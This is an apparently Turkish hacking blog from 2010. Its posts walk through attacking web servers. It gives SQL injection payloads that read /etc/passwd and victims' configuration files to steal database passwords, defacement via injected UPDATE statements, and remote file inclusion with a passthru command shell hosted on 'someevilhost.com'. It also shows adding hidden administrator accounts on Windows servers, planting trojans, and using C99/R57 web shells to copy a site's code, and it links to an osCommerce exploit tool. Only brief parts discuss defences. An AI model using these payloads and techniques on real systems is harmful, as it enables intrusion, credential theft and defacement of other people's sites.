25.11.2010

osCommerce Online Merchant

Merhaba arkadaşlar bügün size osCommerce Online Merchant sistemindeki açık için kodlanmış programın kulanımını anlatmaya çalıştım.Video yu izleyin anlamadığınız yer olursa söylersiniz

http://osc.eclass.tw/images/vezir.rar

18.10.2010

Hacking Anatomi

Herhangi bir sitede SQL tespit ettigimizi varsayalım ,
Aslında amacımız bu sitedekı SQL zaafiyatını kullanarak serverdaki diger sitenin
db’sine erismek. Burda MySQL’in uzaktan istege acık oldugunu + serverin Linux dagıtımlarından birini kullandıgını varsayıyorum.
Yapacagımız ilk is MySQL Sorgularını , kurbanın sitesinde servera isletmek olcaktır.

**********
ozn.php?id=1+and+1=1 yaptığımızda 1=1 olduğundan true döner

ozn.php?id=1+and+1=2 yaptığmızda ise 1=2 olmadığı için true dönmez yani yanlışlığı algılar ve hata verir şimdi kolon sayısını

öğreniyoruz

ozn.php?=1order+by+6--

*yaptık sayfa hata verdi


ozn.php?id=1+order+by+7–-

*bu şekil yaptık sayfa hata vermeden açıldı

* kolon sayısını ogrendik 7

ozn.php?id=1/**/union/**/select/**/0,1,2,3,4,5,6,7/*

3 4

* Kolon sayısınının esit oldugunu soyluyor.

ozn.php?id=-1+union+select+0,1,2,load_file(/etc/passwd),4,5,6,7/* < Linux All

*Linux da “userler”in yetkılerıne temelli sahibiz,

*Windows icin de aynı sey gecerlidir.



* Eger Makina Windows olsaydı..

boot.ini‘yi okuyabiliriz , engel varsa hexleriz.

select ‘c:/boot.ini’

select 0×633a2f626f6f742e696e69

Domainler ” C:/Inetpub ” burada.

ozn.php?id=-1+union+select+0,1,2,load_file(0×633a2f626f6f742e6 96e69),4,5,6,7/*



Blind Edebiliriz !

substring(load_file(’c:/boot.ini’),58)

” [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(2)\WINDOW S …”



Windows icinde asagıda goreceginiz teknıkler birebir aynıdır.. Extra uzerınde durmaya gerek yok.

Simdi konumuza geri donelım;

*Kullanıcı adı ve dizinlerin bulundugu yerı ogrenmem icin etcleri listelemem gerekli.
Eger bunu yapamazsanız servera hata verdirip ana dizin yolu ogrenebilirsiniz; ama bu sadece uzerinde calıstıgımız
site icin gecerli olacaktır.

Bu tip karakterlerin(’,-) serverda islemedigi durumlarda kurdugumuz sorguları hexleriz veya ascii koda cevirip sorguya
dahil ederiz.
Neden bu karakterle pasif olur peki ?
php.ini deki “magic_quotes_gpc” direktifinin “On” olmasıdır. Dolayısyla numerik dısında gelen sayıları ters slash’a “\,/”
cevirecektir.

Calısma mantıgı ,

(int) , intval(GET),POST,COOKİE) , addslashes() ile aynı isleve sahiptir.



- UYGULAMA -

/**/union/**/select/**/0,1,2,load_file(/etc/passwd),4,5,6,7/*

Eger engel varsa ;

> > ozn.php?=88888881 union select 0,1,2,unhex(hex(/etc/passwd),4,5,6,7

// Serverda ki tüm kullanıcı adları ve konumlandıgı klasörler karsımızda.

Target “ozn"

/home/ozn/httpdocs:
/home/site/httpdocs:



Amacımız ozn adlı kurbanın dbsini ele gecirmek , Bunun icin ozn adlı hedefin
db bilgilerinin saklandıgı dosyayı bulmak gereklı , genelde “config.php” , main.php , common.php olur
Uzamasın diye kısaltalım biraz “httpdocs” adlı klasorde “main.php” oldugunu varsayıyorum
soyle bir ıstekde bulunuyorum ;

/**/union+select+0,1,2,load_file(/home/victim2/httpdocs/main.php),4,5,6,7/*

* Burada gene hexleyecegız parantez icindekı karakterleri.

/**/union/**/select/**/0,1,2,load_file(0×2F686F6D652F76696374696D322F6874 7470646F63732F6D61696E2E706870),4,5,6,7/*



Syntax Hataları ve Çözümleri

Alternatif durumlar da goreve dahil ettigimiz MySQL katarları : “char” , “concat” , “blob” , “varchar” …

Serverda ” magic_quotes_gpc = On ” direktifi aktif oldugunda ;

ozn.php?id=88888881 union select 0,1,2,3,4,5,6,7

3 4

/home/victim2/httpdocs/main.php < Go to ascıı code converted

ozn.php?=88888881 union select 0,1,2,load_file(char(/home/ozn/httpdocs/main.php))),4,5,6,7

ozn.php?=88888881 union select 0,1,2,load_file(concat(char(47,104,111,109,101,47, 118,105,99,116,105,109,50,47,104,116,116,112,100,1 11,99,115,47,109,97,105,110,46,112,104,112)))),4,5 ,6,7




“information_schema” adlı databaseden satırları okuyarak tüm db isimleri ve kolon+satırları elde ederiz.

/**/union/**/select/**/0,1,2,concat(COLUMN_NAME,0×2020,TABLE_NAME,0×2020, TABLE_SCHEMA),4,5,6,7+from+information_schema.colu mns+limit+1,8/*

1 kayıttan baslıyoruz , 8. son kayıta kadar sorguluyoruz.

Example :

SELECT * FROM `users` LIMIT 1, 8



/**/union/**/select/**/0,1,2,concat(table_name),4,5,6,7+from+information_ schema.tables+where=’DB_NAME’+limit 1,8/*

Engel oldugunu varsayıyorum ,

union select 0,1,2 unhex((hex(table_name))) 4,5,6,7 from information_schema.tables where char(ascicode(DB_NAME)) limit 1,8



* Yukarıda load_file ile yaptıgım atağın sonucu geldı.

// Database Server
$forum_server = “localhost”; // Ben yerel sunucumu (Localhost) ele alıyorum.
// Database User Name
$forum_un = “root”;
// Database Password
$forum_pw = “123”;
// Database name
$forum_database = “SQL”;
?>

Serverdakı dizinleri okuyup ozn adlı userin veritabanı baglantı
bilgilerini ele gecirdik , yani anahtarı aldık..

Hatasız kul olmaz Hata varsa düzeltirsin :)

13.09.2010

Rfi açığını kapatma

Merhaba arkadaşlar herkes rfi'nin nasıl kulanıldığını bilir ama açığı nasıl kapatabiliriz onu bilmez bu yazıda rfi konusunda alınabilecek önlemler anlatılmıştır.

Eğer sitenizde GET ve POST komutlarını içeren satırlar kullanıyorsanız ve bu komutların yazımlarını
yanlış yaparsanız sitenizde geri dönüşü olmayan bir açık oluşabilir. Şimdi bu açığı kapatmanın
yollarına bakalım.

Bu kod $page girişi tam olarak arındırılmadığı için kullanılmamalıdır. $page input direkt olarak web sayfasına yönlendirilmiş ki bu yapılması gereken en son hatalardan biridir. Daima browserdan geçen her input (giriş) arındırılmalı. Kullanıcı web sayfasını ziyaret ettiğinde "files.php"yi ziyaret etmek için "File"a tıkladığında şöyle bir şey görünecek.
Files
$page = $_GET[page];
include($page);
?>

Bu koda istinaden aşağıdaki şekilde bir adres girersek browserımızdan neler olabilir?
http://localhost/index.php?page=http://google.com

Büyük ihtimalle $page değişkeninin sayfaya orjinal olarak konulduğu yerde, google.com ana sayfasını elde ederiz. Burası kodcunun canının yakılabileceği yerdir. Web sayfasında olabilen daha basit bir şeye bakalım. RFI exploitinin daha çabuk ve kirli kullanımı sizin avantajınızadır. Şimdi "test.php" isimli bir dosya oluşturalım ve aşağıdaki kodu içine koyup kaydedelim.
passthru($_GET[cmd]);
?>

Şimdi bu dosya, üzerinde RFI exploiti olan bir sayfaya dahil etmek için avantajınıza kullanabileceğiniz bir şeydir. PHP içindeki passthru() komutu çok tehlikelidir ve birçok host bunu "güvenlik nedenlerinden dolayı hizmet dışıdır" olarak alırlar. test.php içindeki bu kodla web sayfasına file inclusion exploiti de içeren şöyle bir istek gönderebiliriz
http://localhost/index.php?page=http://someevilhost.com/test.php?cmd=cat /etc/passwd

Örnek olarak sitenizde kullandığınız satırlardan biri; $ornek = $HTTP_GET_VARS[“ornek”]; diyelim. Bu satırda kullanmış olduğunuz tırnaklar dışarıdan gelen uyarılara karşı son derece duyarlıdır. Yani kişi isterse “ornek” kodlaması yerine başka bir sunucudan exploit çağırabilir. Örneğin; http://www.sizinsite.com/index.php?urun=http://www.exploitsitesi.com/exploit.pl bu şekilde bir adresleme kullanıldığı takdirde exploit sizin sunucunuza yüklenir. Bu açığı kolay bir yöntemle kapatabilirsiniz. Öncelikle yapmanız gereken kullanmış olduğunuz GET ve POST komutunun içeriği. Eğer GET yada POST komutu ile veritabanına bağlantı yapıyorsanız bu bağlantıyı komuttan önce tanımlayın;
$veriadi = “veriadi”.$id;

Daha sonra komutunuzu tırnak kullanmadan, başına dolar ($) koyarak sanki veritabanından çağırma yapıyorsunuz gibi kullanın;

3.08.2010

Update olmaya sitelerde char kulanımı

merhaba arkadaşlar bu yazımda tek harf update olan yada harf update olmayan sitelerde char'lama

yönteminden bahsedecem ;

Bir siteye girdiniz hata aldınız baktınız unclosed var tablo ve kolon adlarını çekerek update yapabilirsiniz

tablo ve kolon adlarını aldıktan sonra bakıyorsunuz update olmuyor işte o sırada harflerle update yi

engellemişlerdir ne yapabiliriz

siteye yazacağımızı yazıyı char layarak yani şifreleyerek siteye update yapabiliriz

mesela şu şekil

http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur='Hacked By Vezir;--

bu şekil update olmadı ama tek harf yaptığınızda update oldu

http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur='H;--

burda hacked by vezir kısmını char lıyarak yada hexe çevirerek update yapabilirsiniz

http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur=0x3c68313e4861636b65642062792056657a69722e3034;--

http.//localhost/haber.asp?id=1 +update+Urunler+set+Tur=CHAR(86)+CHAR(101)%20CHAR(122)%20CHAR(105)%20CHAR(114)%20CHAR(46)%20CHAR(48)%20CHAR(52);--

bu şekilde update yapabilirsiniz

Injection Flaws

Injection Flaws

Dinamik SQL sorgularının kullanıldığı sistemlerde oluşabilecek bir açıktır.

Bir kullanıcı adı parola sınaması yapılan SQL cümleciğinde kullanılabilir.

Select MemberID

From Member

Where Username = '" + txtUsername.Text + "' and Password = '" + txtPassword.Text + "'"

Şeklinde bir SQL cümlesinin kullanıldığı bir sistemde aşağıdaki ifadeleri girelim

txtUsername.Text : ' or 1=1 --

txtPassword.Text : 123--

ifadesi aşağıdaki SQL cümlesinin çalıştırılmasını sağlar

Select MemberID

From Member

Where Username =or 1=1 -- ' and Password = ' " + txtPassword.Text + "'"-- ifadesi SQL Server için

yorum satırı anlamına geldi için çalıştırılmaz.

Where ifadesini inceleyelim :

Username = '' false döner, 1 = 1 ise true. Or karşılaştırmasında ise False or True’nun sonucu true’dur.

Dolayısıyla doğru kullanıcı adı parola girilmese dahi geriye tüm kayıtlar döner ve hacker ilk kaydın

yetkisi ile içeriye giriş yapmış olur.

28.06.2010

Win serverda root olma teknikleri

Merhaba arkaşlar win server la ilgili bir döküman yazmak istedim fazla
uzatmadan başlıyalım.bu yöntemi çogu kişi bilir eski bir yöntemdir bilmeyenler vardır diye düşünüp yayınlıyorum.

bir win servera fso destekli bir scriptle girdigimiz zaman cmd ile

uzaktan komut iLe user ekleyip ;

net user vezir 123456 /add

şekLinde sonra net user localgroup administrator vezir /add

şeklinde admin yetkisi verip server ip aLıp uzak masaüstü iLe bağlanıp istedigimizi yaparız bu bir yöntem ;

Eğer ki user ekeleyemezseniz
net user administrator /random

komutuyla mevcut kullanicilarin şifrelerini öğrenebilirsiniz ;

ama şöyle düşünelİm bir Nt servera girdik ve komut girme yetkimiz yok.

neLer yapabiliriz şimdi uzaktan komut verip user ekLeyemiyoruz ama komut çaLıştırabiLiyoruz.

o zaman hemen size bir puf noktası veriyorum. yazdığımız bir kodu .bat formatına çevirip uzaktan user ekliyecez

hemen başlıyalım bir txt açın ;

içine

@echo
net user vezir 123456 /add

yazın ve vezir.bat die kayıt edin çalıştırın ve denetim masasından kullanıcı hesapLarına baktığınız zaman

vezir adında bir user oluşturmuş olacak,

şimdi hemen bir txt açıyoruz içine

@echo
net user vezir 123456 /add
del vezir.bat

yazıyoruz ve vezir.bat die kaydediyoruz ve çalıştırıyoruz

ve komuttan sonra vezir.bat silinecegini göreceksiniz ve bu sayede fso içinde komut ekletip

useri ekletip aynı şekilde administrator yetkisi vererek dosyaları sildirip root düzeyine erişebilİrsiniz.

başka bir yöntem ; trojen ile buda basit bir olaydır arkadaşLar bir key bulun kendi serverınızı oluşturun.

ve win servera upload edin :] serverda dosyayı çaLıştırın ve trojan buluşacaktır. gidin proğramın clientini

açın ipden bağlanın ve client sayesinde proğram sayesinde pc ye bağlanın.


Bir daha ki dökümanda görüşmek dileği ile

KeyloggerLardan Korunmak

Açıklama : S.a Son Zamanlarda Bu Tür Keyloggerlar Her yerde Görülmeye Başladı Hatta NTVMSNBC Sitesine Bile Kod Koyarak Oraya Erişim Saglıyan İNTERNET Kullanıcılarına Büyük Tuzak Kurmuştular. Bu Keyloggerlar Kalvye'de Basılan Her Tuşu Kayıta Alıp "Hacker" veya Tuzak Kuran Kİşiye Gönderilir Tabi Bu Bilgiler ; Kredi Kartınız Olabilir , Sitenizin Şifreleri , Msn ŞifeLeriniz, Veya Daha Önemli Bİlgiler Olabilir.

Bu Program Bize Ne Kolaylıklar Saglıyacak ;

- Windows da yazdığımız yazıların kayıtlanmasını.
- Klavyeden bastığımız her tuşun kayıtlanmasını.
- Kopyala yapıştır yaparak girdiğimiz yazıların, şifrelerin kaydedilmesini.
- O anda açık olan penceremizin screenshot'unun(ekran görüntüsünün) alınmasını.
- Her türlü spy programlarının saldırısını.
- HARDWARE KEYLOGGER'ların yazılarımızı, şifrelerimizi loglamasını.
Program'ı İndirip Kurduktan Sonra Çalıştırılması İçin ;


PHP- Kodu:

+++



PrivacyKeyboard Açılacaktır Ondan Sonra BANKA , MSN , MAİL Şifrelerinizi buradan Girerek Daha Güvenli Olmaktadır.

Unutmayın İnternet %100 Güvenli Degildir Sadece Bu Önlemdir..


İndir

http://anti-keylogger.com/downloads/prvkbd.zip

Script çekme

Bir sitenin serverına girdiniz sitenin scripti hoşunuza gitti acaba nasıl bu scripti çekerim diyorsanız işte yapmanız gerekenler

C99 atıyoruz servera ve databaseye bağlanıyoruz.Oralarda DUMP yazan bi buton olucak ona basarız ve SQL dosyası PC'ye inmeye başlar..

R57 atıyoruz siteye ve komut satırımıza yani run command yazan yere alttaki komutu yazıyoruz.

Kod:

cd /İSTEDĞİNİZ SİTENİN UShome/SCRİPTİNİ ER ADI/public_html/;tar cvzf /home/KAYDETME DİZİN/public_html/yedek.tar.gz *

Böylece rarlanmış olarak inicek PC'ye dosyalar..

Merhaba

Merhaba arkadaşlar tüm arkadaşların blogu var bende bir tane blog açayım dedim. Kendim hakkında verebileceğim pek bir bilgi yok ama yinede bir kaç şey yazayım doğubeyazıtlıyım sanal ortamda web tasarımı olsun site güvenliği hakkında kendimi geliştirmeye çalışıyorum. Bazıları gibi kendimi kimseden üstünde görmüyorum kimsenin altında da değilim bu kadar yeter herhalde :D bloguda elimden geldiğince güncel tutmaya çalışacam.
Herşeyin hayırlısı olsun diyip konuyu bitirelim.